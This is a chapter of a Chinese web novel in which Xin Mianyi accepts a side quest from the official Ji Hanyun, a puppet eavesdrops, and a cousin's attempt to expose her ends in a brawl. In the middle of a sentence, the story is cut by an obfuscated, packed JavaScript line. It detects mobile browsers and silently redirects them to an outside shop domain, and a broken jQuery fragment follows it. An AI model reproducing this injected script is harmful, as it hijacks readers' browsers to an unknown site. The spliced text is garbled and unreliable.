“是。”
说到此处,纪含韵一改慵懒,而是威仪端重。
“世人皆知鬼魅横行,又道世族专横跋扈,嘴上谁人不呼喊着、渴望着新秩序的到来,拯救他们于水火,可活得且过且过,被鬼吓破了胆,被权势压的熄灭了声,人命关天?他们可曾真正的理解这四字的含义?可曾真心为了新秩而努力?”
话音未落,纪含韵闭了闭眼,像是一下子疲惫起来,又像是一位渴望改变却发现到头来无能为力的变革者,他道:“逝者已逝,可生者具在,至少要让活着的人知道那些人为何而死,为他们留一个身后名,不求名垂千史,但求为这个逐渐麻木的世界带来一丝希望,让人们知道,仍有不畏生死的先行者在为一个光明灿烂的世界而义无反顾地努力着。”
为光明灿烂的世界而努力,辛棉衣不禁在心中默念这寥寥数字。
心中道:“眉眉,马甲栗梓……可是因花牛村一案死于世族之手。”
系统沉默了一瞬,点了点头【嗯】
辛棉衣暗笑,笑着笑着,又觉背后阴凉,这个世界的僵鬼们到底打的是什么主意,将栗梓送到了她的面前,偏偏又让她看到了对方生涯中所见的最后一幕。
【恭喜完成支线任务2:雁过留声,人过留名——风吹落月夜,幽影见故人】
【是否继续支线任务2:雁过留声,人过留名——魂可赴千里,春风若吹奏还请君入瓮】
【温馨提示:顺利完成支线任务2,可获得酷币+100、名声+500、神秘人的礼物+1】
【除此之外,还可降低男主们的僵化值】
这个诱惑很大,可也算是彻底得罪世族。往后余生再无安宁人生。看着面板上的数值,辛棉衣像是窥到了无数僵鬼,他们正在看着她,正在欣赏着自己接下来的表演。也亲眼看着她是如何走入他们设置好的天罗密网。
纪含韵见她沉默,眼眸中的光像是被熄灭,终是叹了声。
“此事有难度,辛姑娘若是觉得……”
“茶底虽是苹果汁,可蜜瓜的味道更清新。”辛棉衣端起那杯早已凉透的茶一饮而尽,而后抓起那胡麻饼,咬了一口,如同嚼蜡:怎么又是芝麻馅的,不过佐料加得重了些,咸咸的。
她不禁鼓着腮帮子,拧着秀眉,直言道:“难吃。”
纪含韵一顿,而后明白过来,哈哈一笑,只道:“软酥馅饼虽好,但是粘牙,我曾经有一个朋友,和你一样,也爱吃这些甜点,但是啊,长了蛀牙……”
话说至此,他才觉失语。
辛棉衣心道,一般以有一个朋友开始说起,那么大概就是说话者本人了。
眼见天色大亮,辛棉衣觉得再不回去怕是会露馅,遂和对方告别。
哪知临走时,纪含韵又道:“待到此事结束,我定为辛姑娘备好名茶点心,届时还望姑娘赏脸前来,纪某便在此提前恭祝姑娘心得所愿。”
说完,他朝着辛棉衣深深做了一个揖,郑重道:“纪某在此替花牛村众人人向姑娘致谢。”
辛棉衣转了转眼珠,心觉受了这么大一个礼,要是再反悔简直不好意思,但她向来高傲,又不屑说些“哪里哪里”“客气客气”诸如此话。只好昂着头道:“我要喝蜜瓜茶,普通的蜜瓜我可不要,必须产自西域的,像枣泥饼这些的我都已经吃腻了,若是来上一口赣南的鲜花蜜蜂酥,或者东南的水晶婆婆饼,倒是可以一试。”
纪含韵:“……”
他想了想按察司现在的处境,又想了想当账房先生得知要有这么一大笔开销后的黑脸,算盘珠子怕是会蹦到他的脸上,思来想去后,纪含韵默默关上了门。
对屋外的人,沉声道:“纪某所托还望姑娘尽力而为,来日定当报答姑娘大恩。至于姑娘口中之物,容我再想想。诶呀……诶呀我牙疼,这一疼起来,就竟说胡话。辛姑娘莫怪、莫怪。阿默还不快将辛姑娘送走。”
“记得啊,从哪里来就从哪里送走,可莫要让别人觉得我们按察司不懂礼数,都是鲁莽之人。”
辛棉衣:“???”
她还想再争取一下点心,却被阿默拦住,对方笑着指了指高墙。
辛棉衣在屋内早有耳闻,魏霁言便是从这里灰溜溜的离开……
“能讨价还价吗?”她含笑道。
安达虽是眼眸弯弯,但铁着一张脸,摇了摇头:不能。
*
见屋外终是安静,纪含韵为自己斟了一杯香茶,放置在鼻尖,回味其中韵味。
“哒哒哒”房梁上方似是传来一阵翻跟头的声响,又好似正有人行走在木桩之上。
纪含韵恍若未闻,而是将茶杯轻轻放下,道:“人都走了,还躲什么。”
随之话音落下,眼前似有一阵黑影掠过,对方咕噜咕噜来到他的面前,用红丝将自己倒挂于下,纪含韵眼疾手快,蓦地抓住偷听者,摊开手掌一看,竟是仅盈一掌的木偶娃娃,“嘿,这是生气了,就凭这个,可吓不倒我。”
木偶微微歪首,一身墨色衣袍衬得身形清寂,身着时下盛行的圆领束袍,周身萦绕着缕缕森冷寒意。头顶覆着一张虎头面具,耳畔垂落红白麻线流苏,其中,微小的细线从中垂落缠绕脖子与腰身,远看之下,犹如白绒绒的围脖。一双金色瞳仁,在昏暗光线下流转,透着几分诡谲神秘。
若换作寻常人,早已吓得魂不附体,可纪含韵却将木偶娃娃摆在刚刚辛棉衣刚刚坐过的位置上,拿出袖珍模样的小琉璃色的茶杯,为木偶同样倒了一杯甜茶,嗔道:“这个才是你的。”
哪知等他再度抬头时,木偶却早已不见了踪迹,不禁摇头:“幼稚鬼。”
他不由得想起辛棉衣翻墙时的景象,那般行运流畅,犹如无人之境,不仅躲过了“魏莨予”的人形木偶,更是与镇魂幡有一击之力。他这才生出一番试探,有此本事,花牛村也算有了突破口。
不过嘛,他倒是答应了小木偶,要替他“报仇”以及询问,不成想,因为惜才,竟是忘了这茬,才会令其生出变扭之态。
这可怎么是好?
小人偶可是记仇呢......
不过,他们可是多年好友,想他也不会真生了自己的气,不过倒是苦了一个人。思及此,纪含韵不由得抿了一口茶,露出一双眼,四周查看,不经意道:“随你。”
言外之意:不玩儿出人命,随你行动。
只听房梁之上再次传来一阵“哒哒”声,只不过比之先前,多了些欢快。
这时,门外的阿默道:“纪大人,司马家总管到……”
“知道了。”说罢,纪含韵没再管消失的木偶,而是起身离开,临走时,他还不忘提醒一句:“君王鼎既出,接下来的昭宁不会太平,若厉帝招你,大可不必应诏,带着不死将能走多远便走多远。”
“你既已出红尘,何必还留恋,世族纵有通天的本事,也拿你无可奈何。”
说到此处,纪含韵止住了声,有一瞬间当真是觉得自己老糊涂了,随后无奈一笑,带上官帽,自嘲:“庄周曾梦见自己变成了蝴蝶,可焉知不是蝴蝶入梦变成了庄周,如今我在此劝你莫动,和从前你那般劝我又有何分别。”
“罢了,只是最近几日,就留在此屋,莫要惹事生非。”
也就是说,小木偶不能去寻辛棉衣“报仇”了。
随着关门声落下,屋子内依旧静的落针可闻,豁然,一根红丝从上而降,蓦地缠住了小琉璃杯,向上拖拽而去。
当杯子回落而下时,在桌子上打了个圈。往里看,竟是一滴不剩。
*
“好啊,终于让我逮住了吧。”
辛玉禾猛然将眼前人的帷帽摘下,正如她所猜想的那般,此人不是辛棉衣,而是其婢女红絮。
从昨日下午她便一直在暗处偷窥着这位“二妹妹”,原以为大娘会将她直接送入按察司的大牢,不曾想竟是不轻不重的罚入祠堂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17739500|208761||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
这可是气得她一夜辗转难眠,辛玉禾父亲乃辛世德胞弟,只因晚出生半刻,这一家之主之位便落在了哥哥的头上,遂连带着她也落下风头,辛棉衣没出现前,她可是辛家孙子辈中最为尊贵的贵女。可后来竟被这丫头处处抢了风头,明明就是个私生女,却在琴棋书画上压得她还不来手。
好在老天还是公平的,纵有才华又如何,还不是贱民喜欢上贱民,竟做出有辱家门之事。现下更是不得了,本该忏悔于祠堂,却平白失踪了大半夜。这次定要让她瞧瞧她的厉害。
红絮一抖,在看清来人后,顿时大惊失色,立刻匍匐,颤声道:“大小姐饶命。”
辛玉禾昂着头,难掩窃喜:“那野丫头呢?”
大小姐、大小姐、她、她,红絮咬紧了舌头,心乱如麻,这可怎么叫她开口,若是被众人知道小姐一夜未归,这外面还不知会传成什么样。若是不说,她定会被打死……
“不说是吧?”辛玉禾不死心,势要问出对方的下落,作势要动手,却不料哪里来的一股力气蓦地拦住了她的手腕,“谁啊,敢碰本小姐!”
哪知一转头,便看见一张令她三魂丢了七魄的脸,“你、你个死丫头,弄痛本小姐了!”
红絮早已做好了挨打的准备,可辅一抬头,便瞧见那张熟悉的脸,立刻喜极而泣:“小姐!”
辛棉衣点了点头,而后转头去看辛玉禾,这位,可是没少欺负过原主。刁蛮任性,好的没学半分,倒是学了不少构陷的坏心思。
“红絮是我的人,玉禾姐姐这是做什么?”辛棉衣反问道。
辛玉禾看了一眼对方身上的衣服,慌乱的神色立刻转为傲慢:好你个辛棉衣,竟穿了一身男人的衣服回来,我看你待会怎么解释!
“辛棉衣,你大祸临头,还不知悔改。”辛玉禾挣扎开来,微挑眉头,道:“你彻夜未归之事,我已经告知了主母和祖母,我看也用不着等三日后的堂审了,怕是即刻就会将你打死。”
此话一出,红絮率先呼吸一窒,小姐竟忘记了换衣服,眼见着祠堂外的女使已经清醒,匆忙去禀告,却迎头撞上了浩浩汤汤一群人,对面来者不善,显然是听信了辛玉禾的谗言,来责难小姐。
见此,红絮急忙拿出早已备好的常服:“小姐,快!”
辛玉禾心思一转,立刻扑上去缴过,而后拿在手上得意洋洋:“休想!”
辛棉衣却很淡定,道:“不过一件衣裳而已,玉禾姐姐喜欢,我那里多的是,何必为难我的人。”
“哼。”
现在纵使辛棉衣有十张嘴,也在劫难逃。思及此,辛玉禾猛地拉住对方,可一向以柔弱示人的棉衣,此刻的眼神竟是从未见过的狠戾,她心口突突一跳:“你想干什么?”
“哦,不做什么。”辛棉衣不见慌乱,神秘道:“借姐姐一用。”
辛玉禾:“?”
此时,系统不见提示音,想必这位堂姐无关剧情,既如此,辛棉衣便觉没必要多费口舌,也不需心中有负担,于是在对方懵然的瞬间,立刻朝着那张得意忘形的脸庞“怦怦”两拳头。辛玉禾瞬间痛得滋哇乱叫,晕头转向。
说迟不迟,说快不快,在祖母等人进屋之际,辛棉衣猛地转身推开窗户跳了出去。
红絮早已震掉了下巴,大小姐这是被二小姐打了??!
但她毕竟早就见识过二小姐的出奇意外之举,立刻反应过来,哭爹喊娘道:“抓贼啊!快来抓贼啊!”
姑奶奶只见了一个黑色的男人背影,却并未看清楚样貌,但当看见捂脸倒地的玉禾后,拐杖也不要了,立刻心痛得将人抱在怀里:“玉儿!”
辛玉禾哭丧着一张脸,慢慢挪开手,露出红肿不堪的脸颊:“呜呜呜……祖母。”
“啊,谁打了我的乖囡囡。”
“是辛棉衣那个死丫头!”
辛玉禾简直气得牙痒痒,添油加醋道:“祖母,她私会野男人!”